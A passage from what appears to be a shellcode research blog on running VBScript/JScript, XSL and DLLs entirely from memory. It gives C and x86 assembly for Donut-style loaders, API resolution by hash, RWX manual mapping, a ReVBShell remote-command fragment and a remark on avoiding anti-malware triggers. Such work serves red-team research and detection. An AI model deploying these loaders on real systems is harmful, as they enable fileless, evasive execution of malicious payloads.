      CP_ACP, 0, script, -1, NULL, 0);
    
    len *= sizeof(WCHAR);
    
    cs = malloc(len);
    
    len = MultiByteToWideChar(
      CP_ACP, 0, script, -1, cs, len);
    
    parser->lpVtbl->ParseScriptText(
         parser, cs, 0, 0, 0, 0, 0, 0, 0, 0);  
    
    engine->lpVtbl->SetScriptState(
         engine, SCRIPTSTATE_CONNECTED);
    
    // 5. cleanup
    parser->lpVtbl->Release(parser);
    engine->lpVtbl->Close(engine);
    engine->lpVtbl->Release(engine);
    free(cs);
}

x86 Assembly

Just for illustration, here’s something similar in x86 assembly with some limitations imposed: The script should not exceed 64KB, the UTF-16 conversion only works with ANSI(latin alphabet) characters, and the language (VBS or JS) must be predefined before assembling. When declaring a local variable on the stack that exceeds 4KB, compilers such as GCC and MSVC insert code to perform stack probing which allows the kernel to expand the amount of stack memory available to a thread. There are of course compiler/linker switches to increase the reserved size if you wanted to prevent stack probing, but they are rarely used in practice. Each thread on Windows initially has 16KB of stack available by default as you can see by subtracting the value of StackLimit from StackBase found in the Thread Environment Block (TEB).

0:004> !teb
TEB at 000000f4018bf000
    ExceptionList:        0000000000000000
    StackBase:            000000f401c00000
    StackLimit:           000000f401bfc000
    SubSystemTib:         0000000000000000
    FiberData:            0000000000001e00
    ArbitraryUserPointer: 0000000000000000
    Self:                 000000f4018bf000
    EnvironmentPointer:   0000000000000000
    ClientId:             0000000000001940 . 000000000000067c
    RpcHandle:            0000000000000000
    Tls Storage:          0000000000000000
    PEB Address:          000000f40185a000
    LastErrorValue:       0
    LastStatusValue:      0
    Count Owned Locks:    0
    HardErrorMode:        0
    
0:004> ? 000000f401c00000 - 000000f401bfc000 
Evaluate expression: 16384 = 00000000`00004000

The assembly code initially used VirtualAlloc to allocate enough space, but since this code is unlikely to be used for anything practical, the stack is used instead.

; In-Memory execution of VBScript/JScript using 392 bytes of x86 assembly
; Odzhan

      %include "ax.inc"
      
      %define VBS
      
      bits   32
      
      %ifndef BIN
        global run_scriptx
        global _run_scriptx
      %endif
      
run_scriptx:
_run_scriptx:
      pop    ecx             ; ecx = return address
      pop    eax             ; eax = script parameter
      push   ecx             ; save return address
      cdq                    ; edx = 0
      ; allocate 128KB of stack.
      push   32              ; ecx = 32
      pop    ecx
      mov    dh, 16          ; edx = 4096
      pushad                 ; save all registers
      xchg   eax, esi        ; esi = script
alloc_mem:
      sub    esp, edx        ; subtract size of page
      test   [esp], esp      ; stack probe
      loop   alloc_mem       ; continue for 32 pages
      mov    edi, esp        ; edi = memory
      xor    eax, eax
utf8_to_utf16:               ; YMMV. Prone to a stack overflow.
      cmp    byte[esi], al   ; ? [esi] == 0
      movsb                  ; [edi] = [esi], edi++, esi++
      stosb                  ; [edi] = 0, edi++
      jnz    utf8_to_utf16   ;
      stosd                  ; store 4 nulls at end      
      and    edi, -4         ; align by 4 bytes
      call   init_api        ; load address of invoke_api onto stack
      ; *******************************
      ; INPUT: eax contains hash of API
      ; Assumes DLL already loaded
      ; No support for resolving by ordinal or forward references
      ; *******************************
invoke_api:
      pushad
      push   TEB.ProcessEnvironmentBlock
      pop    ecx
      mov    eax, [fs:ecx]
      mov    eax, [eax+PEB.Ldr]
      mov    edi, [eax+PEB_LDR_DATA.InLoadOrderModuleList + LIST_ENTRY.Flink]
      jmp    get_dll
next_dll:    
      mov    edi, [edi+LDR_DATA_TABLE_ENTRY.InLoadOrderLinks + LIST_ENTRY.Flink]
get_dll:
      mov    ebx, [edi+LDR_DATA_TABLE_ENTRY.DllBase]
      mov    eax, [ebx+IMAGE_DOS_HEADER.e_lfanew]
      ; ecx = IMAGE_DATA_DIRECTORY[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
      mov    ecx, [ebx+eax+IMAGE_NT_HEADERS.OptionalHeader + \
                           IMAGE_OPTIONAL_HEADER32.DataDirectory + \
                           IMAGE_DIRECTORY_ENTRY_EXPORT * IMAGE_DATA_DIRECTORY_size + \
                           IMAGE_DATA_DIRECTORY.VirtualAddress]
      jecxz  next_dll
      ; esi = offset IMAGE_EXPORT_DIRECTORY.NumberOfNames 
      lea    esi, [ebx+ecx+IMAGE_EXPORT_DIRECTORY.NumberOfNames]
      lodsd
      xchg   eax, ecx
      jecxz  next_dll        ; skip if no names
      ; ebp = IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
      lodsd
      add    eax, ebx        ; ebp = RVA2VA(eax, ebx)
      xchg   eax, ebp        ;
      ; edx = IMAGE_EXPORT_DIRECTORY.AddressOfNames
      lodsd
      add    eax, ebx        ; edx = RVA2VA(eax, ebx)
      xchg   eax, edx        ;
      ; esi = IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals      
      lodsd
      add    eax, ebx        ; esi = RVA2VA(eax, ebx)
      xchg   eax, esi
get_name:
      pushad
      mov    esi, [edx+ecx*4-4] ; esi = AddressOfNames[ecx-1]
      add    esi, ebx           ; esi = RVA2VA(esi, ebx)
      xor    eax, eax           ; eax = 0
      cdq                       ; h = 0
hash_name:    
      lodsb
      add    edx, eax
      ror    edx, 8
      dec    eax
      jns    hash_name
      cmp    edx, [esp + _eax + pushad_t_size]   ; hashes match?
      popad
      loopne get_name              ; --ecx && edx != hash
      jne    next_dll              ; get next DLL        
      movzx  eax, word [esi+ecx*2] ; eax = AddressOfNameOrdinals[ecx]
      add    ebx, [ebp+eax*4]      ; ecx = base + AddressOfFunctions[eax]
      mov    [esp+_eax], ebx
      popad                        ; restore all
      jmp    eax
_ds_section:
      ; ---------------------
      db     "ole32", 0, 0, 0
co_init:
      db     "CoInitializeEx", 0
co_init_len equ $-co_init
co_create:
      db     "CoCreateInstance", 0
co_create_len equ $-co_create
      ; IID_IActiveScript
      ; IID_IActiveScriptParse32 +1
      dd     0xbb1a2ae1
      dw     0xa4f9, 0x11cf
      db     0x8f, 0x20, 0x00, 0x80, 0x5f, 0x2c, 0xd0, 0x64
  %ifdef VBS
      ; CLSID_VBScript
      dd     0xB54F3741
      dw     0x5B07, 0x11cf
      db     0xA4, 0xB0, 0x00, 0xAA, 0x00, 0x4A, 0x55, 0xE8
  %else
      ; CLSID_JScript
      dd     0xF414C260
      dw     0x6AC0, 0x11CF
      db     0xB6, 0xD1, 0x00, 0xAA, 0x00, 0xBB, 0xBB, 0x58
  %endif
_QueryInterface:
      mov    eax, E_NOTIMPL     ; return E_NOTIMPL
      retn   3*4
_AddRef:
_Release:
      pop    eax                ; return S_OK
      push   eax
      push   eax
_GetLCID:
_GetItemInfo:
_GetDocVersionString:
      pop    eax                ; return S_OK
      push   eax
      push   eax
_OnScriptTerminate:
      xor    eax, eax           ; return S_OK
      retn   3*4
_OnStateChange:
_OnScriptError:
      jmp    _GetDocVersionString
_OnEnterScript:
_OnLeaveScript:
      jmp    _Release
init_api:
      pop    ebp
      lea    esi, [ebp + (_ds_section - invoke_api)] 
      
      ; LoadLibrary("ole32");
      push   esi                    ; "ole32", 0
      mov    eax, 0xFA183D4A        ; eax = hash("LoadLibraryA")
      call   ebp                    ; invoke_api(eax)
      xchg   ebx, eax               ; ebp = base of ole32
      lodsd                         ; skip "ole32"
      lodsd
      
      ; _CoInitializeEx = GetProcAddress(ole32, "CoInitializeEx");
      mov    eax, 0x4AAC90F7        ; eax = hash("GetProcAddress")
      push   eax                    ; save eax/hash
      push   esi                    ; esi = "CoInitializeEx"
      push   ebx                    ; base of ole32
      call   ebp                    ; invoke_api(eax)

      ; 1. _CoInitializeEx(NULL, COINIT_MULTITHREADED);
      cdq                           ; edx = 0
      push   edx                    ; COINIT_MULTITHREADED
      push   edx                    ; NULL
      call   eax                    ; CoInitializeEx
      
      add    esi, co_init_len       ; skip "CoInitializeEx", 0
      
      ; _CoCreateInstance = GetProcAddress(ole32, "CoCreateInstance");
      pop    eax                    ; eax = hash("GetProcAddress")
      push   esi                    ; "CoCreateInstance"
      push   ebx                    ; base of ole32
      call   ebp                    ; invoke_api

      add    esi, co_create_len     ; skip "CoCreateInstance", 0
      
      ; 2. _CoCreateInstance(
          ; &langId, 0, CLSCTX_INPROC_SERVER, 
          ; &IID_IActiveScript, (void **)&engine);
      push   edi                    ; &engine
      scasd                         ; skip engine
      mov    ebx, edi               ; ebx = &parser
      push   edi                    ; &IID_IActiveScript
      movsd
      movsd
      movsd
      movsd
      push   CLSCTX_INPROC_SERVER
      push   0                      ; 
      push   esi                    ; &CLSID_VBScript or &CLSID_JScript
      call   eax                    ; _CoCreateInstance
      
      ; 3. Query engine for script parser
      ; engine->lpVtbl->QueryInterface(
      ;  engine, &IID_IActiveScriptParse, 
      ;  (void **)&parser);
      push   edi                    ; &parser
      push   ebx                    ; &IID_IActiveScriptParse32
      inc    dword[ebx]             ; add 1 for IActiveScriptParse32
      mov    esi, [ebx-4]           ; esi = engine
      push   esi                    ; engine
      mov    eax, [esi]             ; eax = engine->lpVtbl
      call   dword[eax + IUnknownVtbl.QueryInterface]
      
      ; 4. Initialize parser    
      ; parser->lpVtbl->InitNew(parser);
      mov    ebx, [edi]             ; ebx = parser
      push   ebx                    ; parser
      mov    eax, [ebx]             ; eax = parser->lpVtbl
      call   dword[eax + IActiveScriptParse32Vtbl.InitNew]
      
      ; 5. Initialize IActiveScriptSite
      lea    eax, [ebp + (_QueryInterface - invoke_api)]
      push   edi                    ; save pointer to IActiveScriptSiteVtbl
      stosd                         ; vft.QueryInterface      = (LPVOID)QueryInterface;
      add    eax, _AddRef  - _QueryInterface
      stosd                         ; vft.AddRef              = (LPVOID)AddRef;
      stosd                         ; vft.Release             = (LPVOID)Release;
      add    eax, _GetLCID - _Release
      stosd                         ; vft.GetLCID             = (LPVOID)GetLCID;
      stosd                         ; vft.GetItemInfo         = (LPVOID)GetItemInfo;
      stosd                         ; vft.GetDocVersionString = (LPVOID)GetDocVersionString;
      add    eax, _OnScriptTerminate - _GetDocVersionString
      stosd                         ; vft.OnScriptTerminate   = (LPVOID)OnScriptTerminate;
      add    eax, _OnStateChange - _OnScriptTerminate
      stosd                         ; vft.OnStateChange       = (LPVOID)OnStateChange;
      stosd                         ; vft.OnScriptError       = (LPVOID)OnScriptError;
      inc    eax
      inc    eax
      stosd                         ; vft.OnEnterScript       = (LPVOID)OnEnterScript;
      stosd                         ; vft.OnLeaveScript       = (LPVOID)OnLeaveScript;
      pop    eax                    ; eax = &vft
      
      ; 6. Set script site 
      ; engine->lpVtbl->SetScriptSite(
      ;   engine, (IActiveScriptSite *)&mas);
      push    edi                   ; &IMyActiveScriptSite
      stosd                         ; IActiveScriptSite.lpVtbl = &vft
      xor     eax, eax
      stosd                         ; IActiveScriptSiteWindow.lpVtbl = NULL
      push    esi                   ; engine
      mov     eax, [esi]
      call    dword[eax + IActiveScriptVtbl.SetScriptSite]

      ; 7. Parse our script
      ; parser->lpVtbl->ParseScriptText(
      ;     parser, cs, 0, 0, 0, 0, 0, 0, 0, 0);
      mov    edx, esp
      push   8
      pop    ecx
init_parse:
      push   eax                    ; 0
      loop   init_parse
      push   edx                    ; script
      push   ebx                    ; parser
      mov    eax, [ebx]
      call   dword[eax + IActiveScriptParse32Vtbl.ParseScriptText]
      
      ; 8. Run script
      ; engine->lpVtbl->SetScriptState(
      ;     engine, SCRIPTSTATE_CONNECTED);
      push   SCRIPTSTATE_CONNECTED
      push   esi
      mov    eax, [esi]
      call   dword[eax + IActiveScriptVtbl.SetScriptState]
      
      ; 9. cleanup
      ; parser->lpVtbl->Release(parser);
      push   ebx
      mov    eax, [ebx]
      call   dword[eax + IUnknownVtbl.Release]
      
      ; engine->lpVtbl->Close(engine);
      push   esi                    ; engine
      push   esi                    ; engine
      lodsd                         ; eax = lpVtbl
      xchg   eax, edi
      call   dword[edi + IActiveScriptVtbl.Close]
      ; engine->lpVtbl->Release(engine);
      call   dword[edi + IUnknownVtbl.Release]
     
      inc    eax                    ; eax = 4096 * 32
      shl    eax, 17
      add    esp, eax
      popad
      ret
      

Windows Script Host Objects

Two named objects (WSH and WScript) are added to the script namespace by wscript.exe/cscript.exe that do not require instantiating at runtime. The ‘WScript’ object is used primarily for console I/O, accessing arguments and the path of script on disk. It can also be used to terminate a script via the Quit method or poll operations via the Sleep method. The IActiveScript interface only provides basic scripting functionality, so if we want our host to support those objects, or indeed any custom objects, they must be implemented manually. Consider the following code taken from ReVBShell that expects to run inside WSH.

  While True
    ' receive command from remote HTTP server
    ' other code omitted
    Select Case strCommand
      Case "KILL"
        SendStatusUpdate strRawCommand, "Goodbye!"
        WScript.Quit 0
    End Select
  Wend

When this was used for testing Donut shellcode, the script engine stopped running upon reaching the line “WScript.Quit 0” because it didn’t recognize the WScript object. “On Error Resume Next” was enabled, and so the script simply kept executing. Once the name of this object was added to the namespace via IActiveScript::AddNamedItem, a request for ITypeInfo and IUnknown interfaces was made via IActiveScriptSite::GetItemInfo. If we don’t provide an interface for the request, the parser calls IActiveScriptSite::OnScriptError with the message “Variable is undefined ‘WScript'” before terminating.

To enable support for ‘WScript’ requires a custom implementation of the WScript interface defined in type information found in wscript.exe/cscript.exe. First, add the name of the object to the scripting engine’s namespace using AddNamedItem. This makes any methods, properties and events part of this object visible to the script.

obj = SysAllocString(L"WScript");
engine->lpVtbl->AddNamedItem(engine, (LPCOLESTR)obj, SCRIPTITEM_ISVISIBLE);

Obtain the type information from wscript.exe or cscript.exe. IID_IHost is simply the class identifier retrieved from aforementioned EXE files. Below is a screenshot of OleWoo, but other TLB viewers may work just as well.

ITypeLib  lpTypeLib;
ITypeInfo lpTypeInfo;

LoadTypeLib(L"WScript.exe", &lpTypeLib);
lpTypeLib->lpVtbl->GetTypeInfoOfGuid(lpTypeLib, &IID_IHost, &lpTypeInfo);

Now, when the scripting engine first encounters the ‘WScript’ object and requests an IUnknown interface via IActiveScriptSite::GetItemInfo, Donut returns a pointer to a minimal implementation of the IHost interface.

After this, the IDispatch::Invoke method will be used to call the ‘Quit’ method requested by the script. At the moment, Donut only implements Quit and Sleep methods, but others can be supported if requested.

Extensible Stylesheet Language Transformations (XSLT)

XSL files can contain interpreted languages like JScript/VBScript. The following code found here is based on this example by TheWover.

void run_xml_script(const char *path) {
    IXMLDOMDocument *pDoc; 
    IXMLDOMNode     *pNode;
    HRESULT         hr;
    PWCHAR          xml_str;
    VARIANT_BOOL    loaded;
    BSTR            res;
    
    xml_str = read_script(path);
    
    if(xml_str == NULL) return;
    
    // 1. Initialize COM
    hr = CoInitialize(NULL);
    if(hr == S_OK) {
      // 2. Instantiate XMLDOMDocument object
      hr = CoCreateInstance(
        &CLSID_DOMDocument30, 
        NULL, CLSCTX_INPROC_SERVER,
        &IID_IXMLDOMDocument, 
        (void**)&pDoc);
        
      if(hr == S_OK) {
        // 3. load XML file
        hr = pDoc->lpVtbl->loadXML(pDoc, xml_str, &loaded);
        if(hr == S_OK) {
          // 4. create node interface
          hr = pDoc->lpVtbl->QueryInterface(
            pDoc, &IID_IXMLDOMNode, (void **)&pNode);
            
          if(hr == S_OK) {
            // 5. execute script
            hr = pDoc->lpVtbl->transformNode(pDoc, pNode, &res);
            pNode->lpVtbl->Release(pNode);
          }
        }
        pDoc->lpVtbl->Release(pDoc);
      }
      CoUninitialize();
    }
    free(xml_str);
}

PC-Relative Addressing in C

The linker makes an assumption about where a PE file will be loaded in memory. Most EXE files request an image base address of 0x00400000 for 32-bit or 0x0000000140000000 for 64-bit. If the PE loader can’t map at the requested address, it uses relocation information to fix position-dependent code and data. ARM has support for PC-relative addressing via the ADR, ADRP and LDR opcodes, but poor old x86 lacks a similar instruction. x64 does support RIP-relative addressing, but there’s no guarantee a compiler will use it even if we tell it to (-fPIC and -fPIE for GCC). Because we’re using C for the shellcode, we need to manually calculate the address of a function relative to where the shellcode resides in memory. We could apply relocations in the same way a PE loader does, but self-modifying code can trigger some anti-malware programs. Instead, the program counter (EIP on x86 or RIP on x64) is read using some assembly and this is used to calculate the virtual address of a function in-memory. The following code stub is placed at the end of the payload and returns the value of the program counter.

#if defined(_MSC_VER) 
  #if defined(_M_X64)

    #define PC_CODE_SIZE 9 // sub rsp, 40 / call get_pc

    static char *get_pc_stub(void) {
      return (char*)_ReturnAddress() - PC_CODE_SIZE;
    }
    
    static char *get_pc(void) {
      return get_pc_stub();
    }

  #elif defined(_M_IX86)
    __declspec(naked) static char *get_pc(void) {
      __asm {
          call   pc_addr
        pc_addr:
          pop    eax
          sub    eax, 5
          ret
      }
    }
  #endif  
#elif defined(__GNUC__) 
  #if defined(__x86_64__)
    static char *get_pc(void) {
        __asm__ (
        "call   pc_addr\n"
      "pc_addr:\n"
        "pop    %rax\n"
        "sub    $5, %rax\n"
        "ret");
    }
  #elif defined(__i386__)
    static char *get_pc(void) {
        __asm__ (
        "call   pc_addr\n"
      "pc_addr:\n"
        "popl   %eax\n"
        "subl   $5, %eax\n"
        "ret");
    }
  #endif
#endif

With this code, the linker will calculate the Relative Virtual Address (RVA) by subtracting the offset of our target function from the offset of the get_pc() function. Then at runtime, it will subtract the RVA from the program counter returned by get_pc() to obtain the Virtual Address of the target function. The position of get_pc() must be placed at the end of a payload, otherwise this would not work. The following macro (named after the ARM opcode ADR) is used to calculate the virtual address of a function in-memory.

#define ADR(type, addr) (type)(get_pc() - ((ULONG_PTR)&get_pc - (ULONG_PTR)addr))

To illustrate how it’s used, the following code from the payload shows how to initialize the IActiveScriptSite interface.

// initialize virtual function table
static VOID ActiveScript_New(PDONUT_INSTANCE inst, IActiveScriptSite *this) {
    MyIActiveScriptSite *mas = (MyIActiveScriptSite*)this;
    
    // Initialize IUnknown
    mas->site.lpVtbl->QueryInterface      = ADR(LPVOID, ActiveScript_QueryInterface);
    mas->site.lpVtbl->AddRef              = ADR(LPVOID, ActiveScript_AddRef);
    mas->site.lpVtbl->Release             = ADR(LPVOID, ActiveScript_Release);
    
    // Initialize IActiveScriptSite
    mas->site.lpVtbl->GetLCID             = ADR(LPVOID, ActiveScript_GetLCID);
    mas->site.lpVtbl->GetItemInfo         = ADR(LPVOID, ActiveScript_GetItemInfo);
    mas->site.lpVtbl->GetDocVersionString = ADR(LPVOID, ActiveScript_GetDocVersionString);
    mas->site.lpVtbl->OnScriptTerminate   = ADR(LPVOID, ActiveScript_OnScriptTerminate);
    mas->site.lpVtbl->OnStateChange       = ADR(LPVOID, ActiveScript_OnStateChange);
    mas->site.lpVtbl->OnScriptError       = ADR(LPVOID, ActiveScript_OnScriptError);
    mas->site.lpVtbl->OnEnterScript       = ADR(LPVOID, ActiveScript_OnEnterScript);
    mas->site.lpVtbl->OnLeaveScript       = ADR(LPVOID, ActiveScript_OnLeaveScript);
    
    mas->site.m_cRef                      = 0;
    mas->inst                             = inst;
}

Dynamic Calls to DLL Functions

After implementing support for some WScript methods, providing access to DLL functions directly from VBScript/JScript using a similar approach is much easier to understand. The initial problem is how to load type information directly from memory. One solution to this can be found in A lightweight approach for exposing C++ objects to a hosted Active Scripting engine. Confronted with the same problem, the author uses CreateDispTypeInfo and CreateStdDispatch to create the ITypeInfo and IDispatch interfaces necessary for interpreted languages to call C++ objects.

Summary

v0.9.2 of Donut will support in-memory execution of JScript/VBScript and XSL files.

Posted in assembly, programming, security, shellcode, windows | Tagged , , , , , , , | Leave a comment

Shellcode: In-Memory Execution of DLL

Introduction

In March 2002, the infamous group 29A published their sixth e-zine. One of the articles titled In-Memory PE EXE Execution by Z0MBiE demonstrated how to manually load and run a Portable Executable entirely from memory. The InMem client provided as a PoC downloads a PE from a remote TFTP server into memory and after some basic preparation executes the entrypoint. Of course, running console and GUI applications from memory isn’t that straightforward because Microsoft Windows consists of subsystems. Try manually executing a console application from inside a GUI subsystem without using NtCreateProcess and it will probably cause an unhandled exception crashing the host process. Unless designed for a specific subsystem, running a DLL from memory is relatively error-free and simple to implement, so this post illustrates just that with C and x86 assembly.

Proof of Concept

Z0MBiE didn’t seem to perform any other research beyond a PoC, however, Y0da did write a tool called InConEx that was published in 29A#7 ca. 2004. Since then, various other implementations have been published, but they all seem to be derived in one form or another from the original PoC and use the following steps.

  1. Allocate RWX memory for size of image. (VirtualAlloc)
  2. Copy each section to RWX memory.
  3. Initialize the import table. (LoadLibrary/GetProcAddress)
  4. Apply relocations.
  5. Execute entry point.

Today, some basic loaders will also handle resources and TLS callbacks. The following is example in C based on Z0MBiE’s article.

typedef struct _IMAGE_RELOC {
    WORD offset :12;
    WORD type   :4;
} IMAGE_RELOC, *PIMAGE_RELOC;

typedef BOOL (WINAPI *DllMain_t)(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved);
typedef VOID (WINAPI *entry_exe)(VOID);

VOID load_dllx(LPVOID base);

VOID load_dll(LPVOID base) {
    PIMAGE_DOS_HEADER        dos;
    PIMAGE_NT_HEADERS        nt;
    PIMAGE_SECTION_HEADER    sh;
    PIMAGE_THUNK_DATA        oft, ft;
    PIMAGE_IMPORT_BY_NAME    ibn;
    PIMAGE_IMPORT_DESCRIPTOR imp;
    PIMAGE_RELOC             list;
    PIMAGE_BASE_RELOCATION   ibr;
    DWORD                    rva;
    PBYTE                    ofs;
    PCHAR                    name;
    HMODULE                  dll;
    ULONG_PTR                ptr;
    DllMain_t                DllMain;
    LPVOID                   cs;
    DWORD                    i, cnt;
    
    dos = (PIMAGE_DOS_HEADER)base;
    nt  = RVA2VA(PIMAGE_NT_HEADERS, base, dos->e_lfanew);
    
    // 1. Allocate RWX memory for file
    cs  = VirtualAlloc(
      NULL, nt->OptionalHeader.SizeOfImage, 
      MEM_COMMIT | MEM_RESERVE, 
      PAGE_EXECUTE_READWRITE);
      
    // 2. Copy each section to RWX memory
    sh = IMAGE_FIRST_SECTION(nt);
      
    for(i=0; i<nt->FileHeader.NumberOfSections; i++) {
      memcpy((PBYTE)cs + sh[i].VirtualAddress,
          (PBYTE)base + sh[i].PointerToRawData,
          sh[i].SizeOfRawData);
    }
    
    // 3. Process the Import Table
    rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
    imp = RVA2VA(PIMAGE_IMPORT_DESCRIPTOR, cs, rva);
      
    // For each DLL
    for (;imp->Name!=0; imp++) {
      name = RVA2VA(PCHAR, cs, imp->Name);
      
      // Load it
      dll = LoadLibrary(name);
      
      // Resolve the API for this library
      oft = RVA2VA(PIMAGE_THUNK_DATA, cs, imp->OriginalFirstThunk);
      ft  = RVA2VA(PIMAGE_THUNK_DATA, cs, imp->FirstThunk);
        
      // For each API
      for (;; oft++, ft++) {
        // No API left?
        if (oft->u1.AddressOfData == 0) break;
        
        PULONG_PTR func = (PULONG_PTR)&ft->u1.Function;
        
        // Resolve by ordinal?
        if (IMAGE_SNAP_BY_ORDINAL(oft->u1.Ordinal)) {
          *func = (ULONG_PTR)GetProcAddress(dll, (LPCSTR)IMAGE_ORDINAL(oft->u1.Ordinal));
        } else {
          // Resolve by name
          ibn   = RVA2VA(PIMAGE_IMPORT_BY_NAME, cs, oft->u1.AddressOfData);
          *func = (ULONG_PTR)GetProcAddress(dll, ibn->Name);
        }
      }
    }
    
    // 4. Apply Relocations
    rva  = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
    ibr  = RVA2VA(PIMAGE_BASE_RELOCATION, cs, rva);
    ofs  = (PBYTE)cs - nt->OptionalHeader.ImageBase;
    
    while(ibr->VirtualAddress != 0) {
      list = (PIMAGE_RELOC)(ibr + 1);

      while ((PBYTE)list != (PBYTE)ibr + ibr->SizeOfBlock) {
        if(list->type == IMAGE_REL_TYPE) {
          *(ULONG_PTR*)((PBYTE)cs + ibr->VirtualAddress + list->offset) += (ULONG_PTR)ofs;
        }
        list++;
      }
      ibr = (PIMAGE_BASE_RELOCATION)list;
    }

    // 5. Execute entrypoint
    DllMain = RVA2VA(DllMain_t, cs, nt->OptionalHeader.AddressOfEntryPoint);
    DllMain(cs, DLL_PROCESS_ATTACH, NULL);
}

x86 assembly

Using the exact same logic except implemented in hand-written assembly … for illustration of course!.

; DLL loader in 306 bytes of x86 assembly (written for fun)
; odzhan

      %include "ds.inc"

      bits   32

      struc _ds
          .VirtualAlloc        resd 1 ; edi
          .LoadLibraryA        resd 1 ; esi
          .GetProcAddress      resd 1 ; ebp
          .AddressOfEntryPoint resd 1 ; esp
          .ImportTable         resd 1 ; ebx
          .BaseRelocationTable resd 1 ; edx
          .ImageBase           resd 1 ; ecx
      endstruc

      %ifndef BIN
        global load_dllx
        global _load_dllx
      %endif
      
load_dllx:
_load_dllx: 
      pop    eax            ; eax = return address
      pop    ebx            ; ebx = base of PE file
      push   eax            ; save return address on stack
      pushad                ; save all registers
      call   init_api       ; load address of api hash onto stack
      dd     0x38194E37     ; VirtualAlloc
      dd     0xFA183D4A     ; LoadLibraryA
      dd     0x4AAC90F7     ; GetProcAddress
init_api:
      pop    esi            ; esi = api hashes
      pushad                ; allocate 32 bytes of memory for _ds
      mov    edi, esp       ; edi = _ds
      push   TEB.ProcessEnvironmentBlock
      pop    ecx
      cdq                   ; eax should be < 0x80000000
get_apis:
      lodsd                 ; eax = hash
      pushad
      mov    eax, [fs:ecx]
      mov    eax, [eax+PEB.Ldr]
      mov    edi, [eax+PEB_LDR_DATA.InLoadOrderModuleList + LIST_ENTRY.Flink]
      jmp    get_dll
next_dll:    
      mov    edi, [edi+LDR_DATA_TABLE_ENTRY.InLoadOrderLinks + LIST_ENTRY.Flink]
get_dll:
      mov    ebx, [edi+LDR_DATA_TABLE_ENTRY.DllBase]
      mov    eax, [ebx+IMAGE_DOS_HEADER.e_lfanew]
      ; ecx = IMAGE_DATA_DIRECTORY.VirtualAddress
      mov    ecx, [ebx+eax+IMAGE_NT_HEADERS.OptionalHeader + \
                           IMAGE_OPTIONAL_HEADER32.DataDirectory + \
                           IMAGE_DIRECTORY_ENTRY_EXPORT * IMAGE_DATA_DIRECTORY_size + \
                           IMAGE_DATA_DIRECTORY.VirtualAddress]
      jecxz  next_dll
      ; esi = offset IMAGE_EXPORT_DIRECTORY.NumberOfNames 
      lea    esi, [ebx+ecx+IMAGE_EXPORT_DIRECTORY.NumberOfNames]
      lodsd
      xchg   eax, ecx
      jecxz  next_dll        ; skip if no names
      ; ebp = IMAGE_EXPORT_DIRECTORY.AddressOfFunctions     
      lodsd
      add    eax, ebx        ; ebp = RVA2VA(eax, ebx)
      xchg   eax, ebp        ;
      ; edx = IMAGE_EXPORT_DIRECTORY.AddressOfNames
      lodsd
      add    eax, ebx        ; edx = RVA2VA(eax, ebx)
      xchg   eax, edx        ;
      ; esi = IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals      
      lodsd
      add    eax, ebx        ; esi = RVA(eax, ebx)
      xchg   eax, esi
get_name:
      pushad
      mov    esi, [edx+ecx*4-4] ; esi = AddressOfNames[ecx-1]
      add    esi, ebx           ; esi = RVA2VA(esi, ebx)
      xor    eax, eax           ; eax = 0
      cdq                       ; h = 0
hash_name:    
      lodsb
      add    edx, eax
      ror    edx, 8
      dec    eax
      jns    hash_name
      cmp    edx, [esp + _eax + pushad_t_size]   ; hashes match?
      popad
      loopne get_name              ; --ecx && edx != hash
      jne    next_dll              ; get next DLL        
      movzx  eax, word [esi+ecx*2] ; eax = AddressOfNameOrdinals[eax]
      add    ebx, [ebp+eax*4]      ; ecx = base + AddressOfFunctions[eax]
      mov    [esp+_eax], ebx
      popad                        ; restore all
      stosd
      inc    edx
      jnp    get_apis              ; until PF = 1
      
      ; dos = (PIMAGE_DOS_HEADER)ebx
      push   ebx
      add    ebx, [ebx+IMAGE_DOS_HEADER.e_lfanew]
      add    ebx, ecx
      ; esi = &nt->OptionalHeader.AddressOfEntryPoint
      lea    esi, [ebx+IMAGE_NT_HEADERS.OptionalHeader + \
                       IMAGE_OPTIONAL_HEADER32.AddressOfEntryPoint - 30h]
      movsd          ; [edi+ 0] = AddressOfEntryPoint
      mov    eax, [ebx+IMAGE_NT_HEADERS.OptionalHeader + \
                       IMAGE_OPTIONAL_HEADER32.DataDirectory + \
                       IMAGE_DIRECTORY_ENTRY_IMPORT * IMAGE_DATA_DIRECTORY_size + \
                       IMAGE_DATA_DIRECTORY.VirtualAddress - 30h]
      stosd          ; [edi+ 4] = Import Directory Table RVA
      mov    eax, [ebx+IMAGE_NT_HEADERS.OptionalHeader + \
                       IMAGE_OPTIONAL_HEADER32.DataDirectory + \
                       IMAGE_DIRECTORY_ENTRY_BASERELOC * IMAGE_DATA_DIRECTORY_size + \
                       IMAGE_DATA_DIRECTORY.VirtualAddress - 30h]
      stosd          ; [edi+ 8] = Base Relocation Table RVA
      lodsd          ; skip BaseOfCode
      lodsd          ; skip BaseOfData
      movsd          ; [edi+12] = ImageBase
      ; cs  = VirtualAlloc(NULL, nt->OptionalHeader.SizeOfImage, 
      ;          MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
      push   PAGE_EXECUTE_READWRITE
      xchg   cl, ch
      push   ecx
      push   dword[esi + IMAGE_OPTIONAL_HEADER32.SizeOfImage - \
                         IMAGE_OPTIONAL_HEADER32.SectionAlignment]
      push   0                           ; NULL
      call   dword[esp + _ds.VirtualAlloc + 5*4]
      xchg   eax, edi                    ; edi = cs
      pop    esi                         ; esi = base
      
      ; load number of sections
      movzx  ecx, word[ebx + IMAGE_NT_HEADERS.FileHeader + \
                             IMAGE_FILE_HEADER.NumberOfSections - 30h]
      ; edx = IMAGE_FIRST_SECTION()
      movzx  edx, word[ebx + IMAGE_NT_HEADERS.FileHeader + \
                             IMAGE_FILE_HEADER.SizeOfOptionalHeader - 30h]
      lea    edx, [ebx + edx + IMAGE_NT_HEADERS.OptionalHeader - 30h]
map_section:
      pushad
      add    edi, [edx + IMAGE_SECTION_HEADER.VirtualAddress]
      add    esi, [edx + IMAGE_SECTION_HEADER.PointerToRawData]
